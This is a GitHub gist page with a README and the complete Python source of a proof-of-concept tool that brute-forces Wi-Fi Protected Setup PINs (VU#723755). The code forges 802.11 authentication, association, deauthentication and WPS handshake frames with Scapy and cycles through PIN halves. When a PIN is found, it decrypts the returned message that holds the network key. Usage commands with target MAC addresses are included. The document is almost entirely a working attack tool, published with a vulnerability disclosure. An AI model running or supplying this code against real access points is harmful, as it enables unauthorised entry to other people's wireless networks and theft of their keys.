-
-
Save umayr/37e2fafbb7af6dd7eb49 to your computer and use it in GitHub Desktop.
Wi-Fi Protected Setup vulnerability VU#723755 brute force attack implementation in Python
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
PoC implementation of a brute force attack against WPS - PIN External Registrar | |
My test environment was Backtrack 5R1 + an Atheros USB adapter. | |
I used a mac80211/carl9170 driver but any mac80211-based driver should be ok. | |
DEPENDENCIES: | |
PyCrypto | |
Scapy (2.2.0) (does not come with Backtrack) | |
USAGE: | |
iwconfig mon0 channel X | |
./wpscrack.py --iface mon0 --client 94:0c:6d:88:00:00 --bssid f4:ec:38:cf:00:00 --ssid testap -v | |
further usage: | |
./wpscrack.py --help | |
REFERENCES: | |
http://sviehb.wordpress.com/2011/12/27/wi-fi-protected-setup-pin-brute-force-vulnerability/ | |
http://download.microsoft.com/download/a/f/7/af7777e5-7dcd-4800-8a0a-b18336565f5b/WCN-Netspec.doc | |
http://hostap.epitest.fi/wpa_supplicant/ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
''' | |
This software was written by Stefan Viehboeck <sviehboeck@gmail.com> | |
based on the Windows Connect Now - NET spec and code in wpa_supplicant. | |
Consider this beerware. Prost! | |
''' | |
import time, threading, hmac, hashlib, sys, optparse, random | |
from struct import pack, unpack | |
from Crypto.Cipher import AES | |
from scapy.all import * | |
class WPSCrack: | |
verbose = None | |
client_mac = None | |
bssid = None | |
ssid = None | |
secret_number = None | |
timeout_time = None | |
pin = None | |
# 1536-bit MODP Group from RFC 3526 | |
prime_str = 'FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD1'\ | |
'29024E088A67CC74020BBEA63B139B22514A08798E3404DD'\ | |
'EF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245'\ | |
'E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7ED'\ | |
'EE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3D'\ | |
'C2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F'\ | |
'83655D23DCA3AD961C62F356208552BB9ED529077096966D'\ | |
'670C354E4ABC9804F1746C08CA237327FFFFFFFFFFFFFFFF' | |
prime_int = int(prime_str, 16) | |
rcved_auth_response = False | |
rcved_asso_response = False | |
rcved_eap_request_identity = False | |
rcved_m1 = False | |
rcved_m3 = False | |
rcved_m5 = False | |
m4_sent = False | |
got_fist_half = False | |
done = False | |
request_EAP_id = 0 | |
last_msg_buffer = '' | |
rcved = threading.Event() | |
ENonce = '' | |
RNonce = '' | |
PK_E = '' | |
PK_R = '' | |
EnrolleeMAC = '' | |
AuthKey = '' | |
KeyWrapKey = '' | |
EMSK = '' | |
PSK1 = '' | |
PSK2 = '' | |
E_S1 = '' | |
E_S2 = '' | |
EHash1 = '' | |
EHash2 = '' | |
R_S1 = '' | |
R_S2 = '' | |
RHash1 = '' | |
RHash1 = '' | |
has_auth_failed = False | |
has_timeout = False | |
has_retry = False | |
wps_attributes = { | |
0xFF00 : 'Vendor', | |
0xFF01 : 'Vendor Type', | |
0xFF02 : 'Opcode', | |
0xFF03 : 'Flags', | |
0x104A : 'Version', | |
0x104A : 'Authentication Flags', | |
0x1022 : 'Message Type', | |
0x1047 : 'UUID E', | |
0x1020 : 'MAC', | |
0x101a : 'Enrollee Nonce', | |
0x1032 : 'Public Key', | |
0x1010 : 'Encryption Type Flags', | |
0x100d : 'Connection Type Flags', | |
0x1008 : 'Config Methods', | |
0x100d : 'Wifi Protected Setup State', | |
0x1021 : 'Manufacturer', | |
0x1023 : 'Model Name', | |
0x1024 : 'Model Number', | |
0x1042 : 'Serial Number', | |
0x1054 : 'Primary Device Type', | |
0x1011 : 'Device Name', | |
0x103c : 'RF Bands', | |
0x1002 : 'Association State', | |
0x1012 : 'Device pin', | |
0x1009 : 'Configuration Error', | |
0x102d : 'OS Version', | |
0x1044 : 'Wifi Protected Setup State', | |
0x1004 : 'Authentication Type', | |
0x1005 : 'Authenticator', | |
0x1048 : 'UUID R', | |
0x1039 : 'Registrar Nonce', | |
0x1014 : 'E Hash 1', | |
0x1015 : 'E Hash 2', | |
0x103D : 'R Hash 2', | |
0x103E : 'R Hash 2', | |
0x1018 : 'Encrypted Settings', | |
0x103F : 'R-S1', | |
0x101e : 'Key Wrap Algorithm', | |
0x1016 : 'E-S1', | |
0x1017 : 'E-S2', | |
0x1003 : 'Auth Type', | |
0x100F : 'Encryption Type', | |
0x1003 : 'Auth Type', | |
0x1027 : 'Network Key', | |
0x1028 : 'Network Key Index', | |
0x1045 : 'SSID' | |
} | |
wps_message_types = { | |
0x04 : 'M1', | |
0x05 : 'M2', | |
0x07 : 'M3', | |
0x08 : 'M4', | |
0x09 : 'M5', | |
0x0a : 'M6', | |
0x0b : 'M7', | |
0x0c : 'M8', | |
0x0f : 'WSC_DONE', | |
0x0e : 'WSC_NACK' | |
} | |
def run(self): | |
sniffer_thread = threading.Thread(target=self.sniffer) | |
sniffer_thread.start() | |
time.sleep(1) | |
authorization_request = RadioTap() / Dot11(proto=0L, FCfield=0L, subtype=11L, addr2=self.client_mac, addr3=self.bssid, addr1=self.bssid, SC=0, type=0L) \ | |
/ Dot11Auth(status=0, seqnum=1, algo=0) | |
association_request = RadioTap() / Dot11(proto=0L, FCfield=0L, subtype=0L, addr2=self.client_mac, addr3=self.bssid, addr1=self.bssid, SC=0, type=0L) \ | |
/ Dot11AssoReq(listen_interval=5, cap=12548L) \ | |
/ Dot11Elt(info=self.ssid, ID=0, len=len(self.ssid)) \ | |
/ Dot11Elt(info='\x02\x04\x0b\x16\x0c\x12\x18$', ID=1, len=8) \ | |
/ Dot11Elt(info='0H`l', ID=50, len=4) \ | |
/ Dot11Elt(info='\x00P\xf2\x02\x00\x01\x00', ID=221, len=7) \ | |
/ Dot11Elt(info='\x00P\xf2\x04\x10J\x00\x01\x10\x10:\x00\x01\x02', ID=221, len=14) | |
# TODO: add 802.11n capabilities | |
eapol_start = RadioTap() / Dot11(proto=0L, FCfield=1L, subtype=8L, addr2=self.client_mac, addr3=self.bssid, addr1=self.bssid, SC=0, type=2L, ID=0) \ | |
/ Dot11QoS(TID=0L, TXOP=0, Reserved=0L, EOSP=0L) \ | |
/ LLC(dsap=170, ssap=170, ctrl=3) \ | |
/ SNAP(OUI=0, code=34958) \ | |
/ EAPOL(version=1, type=1, len=0) | |
response_identity = RadioTap() / Dot11(proto=0L, FCfield=1L, subtype=8L, addr2=self.client_mac, addr3=self.bssid, addr1=self.bssid, SC=0, type=2L, ID=0) \ | |
/ Dot11QoS(TID=0L, Reserved=0L, TXOP=0, EOSP=0L) \ | |
/ LLC(dsap=170, ssap=170, ctrl=3) \ | |
/ SNAP(OUI=0, code=34958) \ | |
/ EAPOL(version=1, type=0, len=35) \ | |
/ EAP(code=2, type=1, id=0, len=35) \ | |
/ Raw(load='WFA-SimpleConfig-Registrar-1-0') | |
i = 0 | |
while self.done == False: | |
if self.done == True: | |
break | |
self.rcved_auth_response = False | |
self.rcved_asso_response = False | |
self.rcved_eap_request_identity = False | |
self.rcved_m1 = False | |
self.rcved_m3 = False | |
self.rcved_m5 = False | |
self.m4_sent = False | |
i += 1 | |
if self.verbose: print '------------------- attempt #%i' % i | |
timeout_timer = threading.Timer(self.timeout_time, self.timeout) | |
timeout_timer.start() | |
self.has_auth_failed = False | |
self.has_timeout = False | |
self.has_retry = False | |
start_time = time.time() | |
print 'Trying', self.pin | |
self.send_deauth() | |
if self.verbose: print '-> 802.11 authentication request' | |
self.rcved.clear() | |
sendp(authorization_request, verbose=0) | |
self.rcved.wait() | |
if self.rcved_auth_response == True: | |
if self.verbose: print '-> 802.11 association request' | |
self.rcved.clear() | |
sendp(association_request, verbose=0) | |
self.rcved.wait() | |
if self.rcved_asso_response == True: | |
if self.verbose: print '-> EAPOL start' | |
self.rcved.clear() | |
sendp(eapol_start, verbose=0) | |
self.rcved.wait() | |
if self.rcved_eap_request_identity == True: | |
if self.verbose: print '-> EAP response identity' | |
response_identity[EAP].id = self.request_EAP_id | |
self.rcved.clear() | |
sendp(response_identity, verbose=0) | |
self.rcved.wait() | |
if self.rcved_m1 == True: | |
if self.verbose: print '-> M2' | |
self.rcved.clear() | |
self.send_M2() | |
self.rcved.wait() | |
if self.rcved_m3 == True: | |
if self.verbose: print '-> M4' | |
self.rcved.clear() | |
self.send_M4() | |
self.m4_sent = True | |
self.rcved.wait() | |
if self.rcved_m5 == True: | |
if self.verbose: print '-> M6' | |
self.rcved.clear() | |
self.send_M6() | |
self.rcved.wait() | |
self.send_deauth() | |
time.sleep(0.05) | |
self.rcved.clear() | |
timeout_timer.cancel() | |
if self.verbose: print 'attempt took %.3f seconds' % (time.time() - start_time) | |
self.gen_pin() | |
def bignum_pack(self, n, l): | |
return ''.join([(chr((n >> ((l - i - 1) * 8)) % 256)) for i in xrange(l)]) | |
def bignum_unpack(self, byte): | |
return sum([ord(b) << (8 * i) for i, b in enumerate(byte[::-1])]) | |
def kdf(self, key, personalization_string, el): | |
x = '' | |
for i in range (1, (sum(el) + 32 - 1) / 32): # slow | |
s = pack('!I', i) + personalization_string + pack('!I', sum(el)) | |
x += hmac.new(key, s, hashlib.sha256).digest() | |
r = [] | |
c = 0 | |
for e in el: | |
r.append(x[c:c + (e / 8)]) | |
c += e / 8 | |
return r | |
def gen_keys(self): | |
pubkey_enrollee = self.bignum_unpack(self.PK_E) | |
pubkey_registrar = pow(2, self.secret_number, self.prime_int) | |
shared_key = self.bignum_pack(pow(pubkey_enrollee, self.secret_number, self.prime_int), 192) | |
self.PK_R = self.bignum_pack(pubkey_registrar, 192) | |
self.RNonce = os.urandom(16) | |
DHKey = hashlib.sha256(shared_key).digest() | |
KDK = hmac.new(DHKey, self.ENonce + self.EnrolleeMAC + self.RNonce, hashlib.sha256).digest() | |
self.AuthKey, self.KeyWrapKey, self.EMSK = self.kdf(KDK, 'Wi-Fi Easy and Secure Key Derivation', [256, 128, 256]) | |
self.R_S1 = '\00' * 16 #random enough | |
self.R_S2 = '\00' * 16 | |
self.PSK1 = hmac.new(self.AuthKey, self.pin[0:4], hashlib.sha256).digest()[:16] | |
self.PSK2 = hmac.new(self.AuthKey, self.pin[4:8], hashlib.sha256).digest()[:16] | |
self.RHash1 = hmac.new(self.AuthKey, self.R_S1 + self.PSK1 + self.PK_E + self.PK_R, hashlib.sha256).digest() | |
self.RHash2 = hmac.new(self.AuthKey, self.R_S2 + self.PSK2 + self.PK_E + self.PK_R, hashlib.sha256).digest() | |
def PKCS5_2_0_pad(self, s): | |
pad_len = 16 - len(s) % 16; | |
x = pack('b', pad_len) | |
s += (x * pad_len)[:pad_len] | |
return s | |
def encrypt(self, lst): | |
to_enc_s = self.assemble_EAP_Expanded(lst) | |
kwa = hmac.new(self.AuthKey, to_enc_s, hashlib.sha256).digest()[0:8] | |
iv = '\00' * 16 | |
to_enc_s += self.assemble_EAP_Expanded([[0x101e, kwa]]) | |
plaintext = self.PKCS5_2_0_pad(to_enc_s) | |
ciphertext = AES.new(self.KeyWrapKey, AES.MODE_CBC, iv).encrypt(plaintext) | |
return iv, ciphertext | |
def decrypt(self, iv, ciphertext): | |
p = AES.new(self.KeyWrapKey, AES.MODE_CBC, iv).decrypt(ciphertext) | |
plaintext = p[:len(p) - ord(p[-1])] # remove padding | |
return self.disassemble_EAP_Expanded(plaintext) | |
def gen_authenticator(self, msg): | |
return hmac.new(self.AuthKey, self.last_msg_buffer[9:] + msg, hashlib.sha256).digest()[:8] | |
def send_M2(self): | |
if self.ENonce == '': | |
print 'enonce is empty!!!' | |
m2 = [ | |
[0xFF00, '\x00\x37\x2A'], | |
[0xFF01, '\x00\x00\x00\x01'], | |
[0xFF02, '\x04'], | |
[0xFF03, '\x00'], | |
[0x104A, '\x10'], | |
# message type: | |
[0x1022, '\x05'], | |
# enrollee nonce: | |
[0x101A, self.ENonce], | |
# registrar nonce: | |
[0x1039, self.RNonce], | |
# uuid registrar: | |
[0x1048, '\x12\x34\x56\x78\x9A\xBC\xDE\xF0\x12\x34\x56\x78\x9A\xBC\xDE\xF0'], | |
# public key: | |
[0x1032, self.PK_R], | |
[0x1004, '\x00\x3F'], | |
[0x1010, '\x00\x0F'], | |
[0x100D, '\x01'], | |
[0x1008, '\x01\x08'], | |
[0x1021, '\x00'], | |
[0x1023, '\x00'], | |
[0x1024, '\x00'], | |
[0x1042, '\x00'], | |
[0x1054, '\x00\x00\x00\x00\x00\x00\x00\x00'], | |
[0x1011, '\x00'], | |
[0x103C, '\x03'], | |
[0x1002, '\x00\x00'], | |
[0x1009, '\x00\x00'], | |
[0x1012, '\x00\x00'], | |
[0x102D, '\x80\x00\x00\x00'] | |
] | |
eap_expanded = self.assemble_EAP_Expanded(m2) | |
m = RadioTap() / Dot11(proto=0L, FCfield=1L, addr2=self.client_mac, addr3=self.bssid, addr1=self.bssid, subtype=8L, SC=80, type=2L, ID=55808) \ | |
/ Dot11QoS(TID=0L, Reserved=0L, TXOP=0, EOSP=0L) / LLC(dsap=170, ssap=170, ctrl=3) \ | |
/ SNAP(OUI=0, code=34958) \ | |
/ EAPOL(version=1, type=0, len=383) \ | |
/ EAP(code=2, type=254, id=self.request_EAP_id, len=383) \ | |
/ Raw(load=eap_expanded) | |
authenticator = self.gen_authenticator(str(m[Raw])[9:]) | |
m = m / Raw(load=(self.assemble_EAP_Expanded([[0x1005, authenticator]]))) | |
sendp(m, verbose=0) | |
def send_M4(self): | |
ConfigData = [[0x103f, self.R_S1]] | |
iv, ciphertext = self.encrypt(ConfigData) | |
m4 = [ | |
[0xFF00, '\x00\x37\x2A'], | |
[0xFF01, '\x00\x00\x00\x01'], | |
[0xFF02, '\x04'], | |
[0xFF03, '\x00'], | |
[0x104A, '\x10'], | |
[0x1022, '\x08'], | |
# ENonce | |
[0x101A, self.ENonce], | |
# RHash1 | |
[0x103D, self.RHash1], | |
# RHash2 | |
[0x103E, self.RHash2], | |
# Encrypted RS1 | |
[0x1018, iv + ciphertext] | |
] | |
eap_expanded = self.assemble_EAP_Expanded(m4) | |
m = RadioTap() / Dot11(proto=0L, FCfield=1L, addr2=self.client_mac, addr3=self.bssid, addr1=self.bssid, subtype=8L, SC=80, type=2L, ID=55808) \ | |
/ Dot11QoS(TID=0L, Reserved=0L, TXOP=0, EOSP=0L) \ | |
/ LLC(dsap=170, ssap=170, ctrl=3) \ | |
/ SNAP(OUI=0, code=34958) \ | |
/ EAPOL(version=1, type=0, len=196) \ | |
/ EAP(code=2, type=254, id=self.request_EAP_id, len=196) \ | |
/ Raw(load=eap_expanded) | |
authenticator = self.gen_authenticator(str(m[Raw])[9:]) | |
m = m / Raw(load=(self.assemble_EAP_Expanded([[0x1005, authenticator]]))) | |
sendp(m, verbose=0) | |
def send_M6(self): | |
ConfigData = [[0x1040, self.R_S2]] | |
iv, ciphertext = self.encrypt(ConfigData) | |
m6 = [ | |
[0xFF00, '\x00\x37\x2A'], | |
[0xFF01, '\x00\x00\x00\x01'], | |
[0xFF02, '\x04'], | |
[0xFF03, '\x00'], | |
[0x104A, '\x10'], | |
[0x1022, '\x0A'], | |
# ENonce | |
[0x101A, self.ENonce], | |
# Encrypted RS_1 | |
[0x1018, iv + ciphertext] | |
] | |
eap_expanded = self.assemble_EAP_Expanded(m6) | |
m = RadioTap() / Dot11(proto=0L, FCfield=1L, addr2=self.client_mac, addr3=self.bssid, addr1=self.bssid, subtype=8L, SC=80, type=2L, ID=55808) \ | |
/ Dot11QoS(TID=0L, Reserved=0L, TXOP=0, EOSP=0L) / LLC(dsap=170, ssap=170, ctrl=3) \ | |
/ SNAP(OUI=0, code=34958) / EAPOL(version=1, type=0, len=124) \ | |
/ EAP(code=2, type=254, id=self.request_EAP_id, len=124) / Raw(load=eap_expanded) | |
authenticator = self.gen_authenticator(str(m[Raw])[9:]) | |
m = m / Raw(load=(self.assemble_EAP_Expanded([[0x1005, authenticator]]))) | |
sendp(m, verbose=0) | |
def parse_EAP_Expanded(self, l): | |
d = {} | |
message_type = None | |
#performance ? | |
for e in l: | |
d[e[0]] = e[1] | |
if 0x1022 in d: | |
if ord(d[0x1022]) in self.wps_message_types: | |
message_type = self.wps_message_types[ord(d[0x1022])] | |
if self.verbose: print '<-', message_type | |
else: | |
print '< unknown Message Type: 0x%X', ord(d[0x1022]) | |
if message_type == 'M1': | |
self.ENonce = d[0x101a] | |
self.PK_E = d[0x1032] | |
self.EnrolleeMAC = d[0x1020] | |
self.gen_keys() | |
self.rcved_m1 = True | |
elif message_type == 'M3': | |
self.EHash1 = d[0x1014] | |
self.EHash2 = d[0x1015] | |
self.rcved_m3 = True | |
elif message_type == 'M5': | |
# we could validate the data but it makes no sense | |
if self.got_fist_half is False: | |
print 'found first half:', self.pin[0:4] | |
self.got_fist_half = True | |
self.rcved_m5 = True | |
elif message_type == 'M7': | |
# juice | |
print '-------------------------- FOUND PIN: %s --------------------------' % self.pin | |
encrypted = d[0x1018] | |
x = self.decrypt(encrypted[:16], encrypted[16:]) | |
self.dump_EAP_Expanded(x) | |
self.done = True | |
elif message_type == 'WSC_NACK': | |
if self.m4_sent == True: | |
self.has_auth_failed = True | |
nack = [ | |
[0xFF00, '\x00\x37\x2A'], | |
[0xFF01, '\x00\x00\x00\x01'], | |
[0xFF02, '\x03'], | |
[0xFF03, '\x00'], | |
[0x104A, '\x10'], | |
[0x1022, '\x0E'], | |
# | |
[0x101A, self.ENonce], | |
[0x1039, self.RNonce], | |
[0x1009, '\x00\x00'] | |
] | |
eap_expanded = self.assemble_EAP_Expanded(nack) | |
m = RadioTap() / Dot11(proto=0L, FCfield=1L, addr2=self.client_mac, addr3=self.bssid, addr1=self.bssid, subtype=8L, SC=80, type=2L, ID=55808) \ | |
/ Dot11QoS(TID=0L, Reserved=0L, TXOP=0, EOSP=0L) / LLC(dsap=170, ssap=170, ctrl=3) \ | |
/ SNAP(OUI=0, code=34958) \ | |
/ EAPOL(version=1, type=0, len=70) \ | |
/ EAP(code=2, type=254, id=self.request_EAP_id, len=70) \ | |
/ Raw(load=eap_expanded) | |
if self.verbose: print '-> WCS_NACK' | |
sendp(m, verbose=0) | |
else: | |
print 'got NACK before M4 - something is wrong' | |
self.has_retry = True | |
return | |
def sniffer_filter(self, x): | |
if (self.done == True): | |
return True | |
elif (self.rcved.is_set() is False): | |
if x.haslayer(Dot11) and x[Dot11].addr1 == self.client_mac and x[Dot11].addr3 == self.bssid: | |
if x.haslayer(Dot11Auth) and x[Dot11Auth].status == 0: | |
if self.verbose: print '<- 802.11 authentication response' | |
self.rcved_auth_response = True | |
self.rcved.set() | |
elif x.haslayer(Dot11AssoResp) and x[Dot11AssoResp].status == 0: | |
if self.verbose: print '<- 802.11 association response' | |
self.rcved_asso_response = True | |
self.rcved.set() | |
elif x.haslayer(EAP) and x[EAP].code == 1: | |
self.request_EAP_id = x[EAP].id | |
if x[EAP].type == 254: #Type: Expanded Type | |
self.last_msg_buffer = str(x[Raw])[:-4] | |
disasm = self.disassemble_EAP_Expanded(x[Raw], has_FCS=True, has_start=True) | |
self.parse_EAP_Expanded(disasm) | |
self.rcved.set() | |
elif x[EAP].type == 1: | |
if self.verbose: print '<- EAP request identity' | |
if self.rcved_eap_request_identity == False: | |
self.rcved_eap_request_identity = True | |
self.rcved.set() | |
else: | |
print 'got unknown EAP message:' | |
print x.command() | |
return False | |
else: | |
# discard all messages if we don't want to receive | |
return False | |
def sniffer(self): | |
print 'sniffer started' | |
sniff(store=0, stop_filter=lambda x: self.sniffer_filter(x)) | |
print 'sniffer stopped' | |
sys.exit() | |
def timeout(self): | |
print 'TIMEOUT!!' | |
self.rcved.set() | |
self.has_timeout = True | |
def should_continue(self): | |
if self.has_timeout == True or self.has_auth_failed == True or self.has_retry == True: | |
return False | |
else: | |
return True | |
def gen_pin(self): | |
if self.has_timeout == False and self.rcved_m3 == True: | |
if self.got_fist_half == True: | |
pin_int = int(self.pin[0:7]) + 1 | |
else: | |
pin_int = int(self.pin[0:7]) + 1000 | |
# append checksum | |
accum = 0 | |
t = pin_int | |
while (t): | |
accum += 3 * (t % 10) | |
t /= 10 | |
accum += t % 10 | |
t /= 10 | |
self.pin = '%07i%01i' % (pin_int, (10 - accum % 10) % 10) | |
def send_deauth(self): | |
if self.verbose: print '-> 802.11 deauthentication' | |
deauth = RadioTap() / Dot11(proto=0L, FCfield=0L, subtype=12L, addr2=self.client_mac, addr3=self.bssid, addr1=self.bssid, SC=0, type=0L, ID=0) \ | |
/ Dot11Deauth(reason=1) | |
sendp(deauth, verbose=0) | |
def disassemble_EAP_Expanded(self, p, has_FCS=False, has_start=False): | |
ret = [] | |
i = 0 | |
if has_FCS: | |
e = str(p)[:-4] #remove FCS | |
else: | |
e = str(p) | |
if has_start: | |
ret.append([0xFF00, e[0:3]]) | |
ret.append([0xFF01, e[3:7]]) | |
ret.append([0xFF02, e[7:8]]) | |
ret.append([0xFF03, e[8:9]]) | |
i = 9 | |
while i < len(e) - 4: | |
data_length = unpack('!H', e[i + 2:i + 4])[0] | |
ret.append([unpack('!H', e[i:i + 2])[0], e[(i + 4):(i + 4 + unpack('!H', e[i + 2:i + 4])[0])] ]) | |
i += data_length + 4 | |
return ret | |
def assemble_EAP_Expanded(self, l): | |
ret = '' | |
for i in range(len(l)): | |
if l[i][0] & 0xFF00 == 0xFF00: | |
ret += (l[i][1]) | |
else: | |
ret += pack('!H', l[i][0]) + pack('!H', len(l[i][1])) + l[i][1] | |
return ret | |
def dump_EAP_Expanded(self, lst): | |
for e in lst: | |
if e[0] in self.wps_attributes: | |
print self.wps_attributes[e[0]], ':' | |
hexdump(e[1]) | |
else: | |
print 'Message ID 0x%X not found!' % e[0] | |
print e | |
def main(): | |
wps = WPSCrack() | |
parser = optparse.OptionParser('usage: %prog --iface=IFACE --client=CLIENT_MAC --bssid=BSSID --ssid=SSID [optional arguments]') | |
parser.add_option('-i', '--iface', dest='iface', default='', type='string', help='network interface (monitor mode)') | |
parser.add_option('-c', '--client', dest='client_mac', default='', type='string', help='MAC of client interface') | |
parser.add_option('-b', '--bssid', dest='bssid', default='', type='string', help='MAC of AP (BSSID)') | |
parser.add_option('-s', '--ssid', dest='ssid', default='', type='string', help='SSID of AP (ESSID)') | |
parser.add_option('--dh', dest='dh_secret', default=1, type='int', help='diffie-hellman secret number') | |
parser.add_option('-t', '--timeout', dest='timeout', default=5, type='int', help='timemout in seconds') | |
parser.add_option('-p', '--pin', dest='start_pin', default='00000000', type='string', help='start pin for brute force') | |
parser.add_option('-v', '--verbose', action='store_true', dest='verbose', default=False, help='verbose') | |
(options, _) = parser.parse_args() | |
if options.iface != '' and options.client_mac != '' and options.bssid != '' and options.ssid != '': | |
conf.iface = options.iface | |
wps.client_mac = options.client_mac | |
wps.bssid = options.bssid | |
wps.ssid = options.ssid | |
wps.secret_number = options.dh_secret | |
wps.timeout_time = options.timeout | |
wps.verbose = options.verbose | |
wps.pin = options.start_pin | |
wps.run() | |
else: | |
print 'check arguments or use --help!' | |
return | |
if __name__ == '__main__': | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment